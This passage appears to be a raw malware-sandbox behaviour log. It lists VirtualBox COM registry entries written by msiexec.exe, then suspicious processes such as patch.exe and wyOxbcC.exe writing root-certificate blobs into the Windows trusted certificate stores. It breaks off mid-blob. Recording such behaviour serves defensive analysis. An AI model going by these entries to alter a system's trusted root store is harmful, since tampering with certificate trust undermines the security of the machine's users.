\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DD3FC71D-26C0-4FE1-BF6F-67F633265BBA}\ProgID\ = "VirtualBox.VirtualBoxClient.1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{11BE93C7-A862-4DC9-8C89-BF4BA74A886A}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{13A11514-402E-022E-6180-C3944DE3F9C8}\ = "IGuest" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{2514881B-23D0-430A-A7FF-7ED7F05534BC}\ = "INATNetworkPortForwardEvent" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{31587F93-2D12-4D7C-BA6D-CE51D0D5B265}\ProxyStubClsid32 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{7C5E945F-2354-4267-883F-2F417D216519}\ProxyStubClsid32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{41A033B8-CC87-4F6E-A0E9-47BB7F2D4BE5}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00AE6AF4-00A7-4104-0009-49BC00B2DA80}\ = "IMachineDebugger" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{C8ADB7B0-057D-4391-B928-F14B06B710C5}\TypeLib\Version = "1.3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D0A0163F-E254-4E5B-A1F2-011CF991C38D}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{14C2DB8A-3EE4-11E9-B872-CB9447AAD965}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{4376693C-CF37-453B-9289-3B0F521CAF27} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{6FA2671B-0547-448E-BC7C-94E9E173BF57}\NumMethods\ = "43" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{A6DCF6E8-416B-4181-8C4A-45EC95177AEF}\NumMethods msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{B31C4052-7BDC-11E9-8BC2-8FFDB8B19219}\TypeLib\Version = "1.3" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{B5191A7C-9536-4EF8-820E-3B0E17E5BBC8}\NumMethods msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Interface\{334DF94A-7556-4CBC-8C04-043096B02D82} msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{6CC49055-DAD4-4496-85CF-3F76BCB3B5FA}\TypeLib msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{31587F93-2D12-4D7C-BA6D-CE51D0D5B265}\NumMethods msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{6620DB85-44E0-CA69-E9E0-D4907CECCBE5}\TypeLib msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{C365FB7B-4430-499F-92C8-8BED814A567A}\ProxyStubClsid32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}\ = "PSFactoryBuffer" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{1D89E2B3-C6EA-45B6-9D43-DC6F70CC9F02}\NumMethods msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0B3CDEB2-808E-11E9-B773-133D9330F849}\NumMethods\ = "13" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{181DFB55-394D-44D3-9EDB-AF2C4472C40A}\ = "ICloudNetworkEnvironmentInfo" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{181DFB55-394D-44D3-9EDB-AF2C4472C40A}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{788B87DF-7708-444B-9EEF-C116CE423D39}\ = "IParallelPort" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}\ = "PSFactoryBuffer" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00F4A8DC-0002-4B81-0077-1DCB004571BA}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{4132147B-42F8-CD96-7570-6A8800E3342C} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{435B66A2-0C60-11EA-A0EA-07EB0D1C4EAD}\TypeLib\Version = "1.3" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{758D7EAC-E4B1-486A-8F2E-747AE346C3E9}\ProxyStubClsid32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{8D095CB0-0126-43E0-B05D-326E74ABB356}\ = "IMediumAttachment" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027BC463-929C-40E8-BF16-FEA557CD8E7E}\NumMethods\ = "115" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{4EE3CBCB-486F-40DB-9150-DEEE3FD24189}\TypeLib\Version = "1.3" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\VirtualBox.Session\CLSID msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{232E9151-AE84-4B8E-B0F3-5C20C35CAAC9}\TypeLib\Version = "1.3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{69BFB134-80F6-4266-8E20-16371F68FA25}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{FF5BEFC3-4BA3-7903-2AA4-43988BA11554}\ProxyStubClsid32 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Interface\{431685DA-3618-4EBC-B038-833BA829B4B2}\TypeLib msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{392F1DE4-80E1-4A8A-93A1-67C5F92A838A} msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{4FDEBBF0-BE30-49C0-B315-E9749E1BDED1} msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{B55CF856-1F8B-4692-ABB4-462429FAE5E9} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0075FD6C-00C2-4484-0077-C057003D9C90}\NumMethods\ = "32" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Interface\{20479EAF-D8ED-44CF-85AC-C83A26C95A4D}\NumMethods msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{334DF94A-7556-4CBC-8C04-043096B02D82}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{41A033B8-CC87-4F6E-A0E9-47BB7F2D4BE5}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{4FDEBBF0-BE30-49C0-B315-E9749E1BDED1}\NumMethods msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{B31C4052-7BDC-11E9-8BC2-8FFDB8B19219}\ProxyStubClsid32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{890ED3DC-CC19-43FA-8EBF-BAECB6B9EC87}\TypeLib\Version = "1.3" msiexec.exe -
Processes:
wyOxbcC.execsrss.exepatch.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec529030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f00740000000f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 wyOxbcC.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 wyOxbcC.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 wyOxbcC.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47419000000010000001000000068cb42b035ea773e52ef50ecf50ec52920000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b2